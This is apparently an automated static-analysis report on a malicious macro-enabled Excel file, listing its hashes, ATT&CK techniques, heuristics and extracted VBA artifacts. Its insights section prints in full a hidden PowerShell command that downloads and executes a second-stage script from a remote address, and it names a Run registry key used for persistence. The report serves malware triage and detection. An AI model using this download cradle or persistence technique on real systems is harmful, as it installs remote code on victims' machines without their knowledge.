Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 437db3de8187caaa…

MALICIOUS

Office (OOXML) / .XLSM

438.5 KB Created: 2000-04-13 21:48:14 UTC Authoring application: Microsoft Excel 12.0000
MD5: 6c1f07d7cf5ab1dec44a59b9fccb6dc1 SHA-1: 9e2e835d9c7e71770962493b0f68ef4a5d6844ab SHA-256: 437db3de8187caaaae244c1d999a87b825d0d27368e91330e104c86eea642cf8
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is an XLSM file containing a Workbook_Open macro. This macro uses CreateObject to execute a command. The command is constructed by concatenating environment variables and cell values, which ultimately resolves to 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.100/payload.ps1\')"'. This script then downloads and executes a second-stage payload from the specified URL. The macro also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 5

  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
db5194c67f6d2a430962ef9f609f48e898213f020444bf63345ed9a38d0dc623
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1111 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
vbaProject_00.bin
faae3b8b0202c6d70f06c10b282a1eaf872304bc1d70e9d5696c4a06b40caa8a
vba-project OOXML VBA project: xl/vbaProject.bin 9216 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.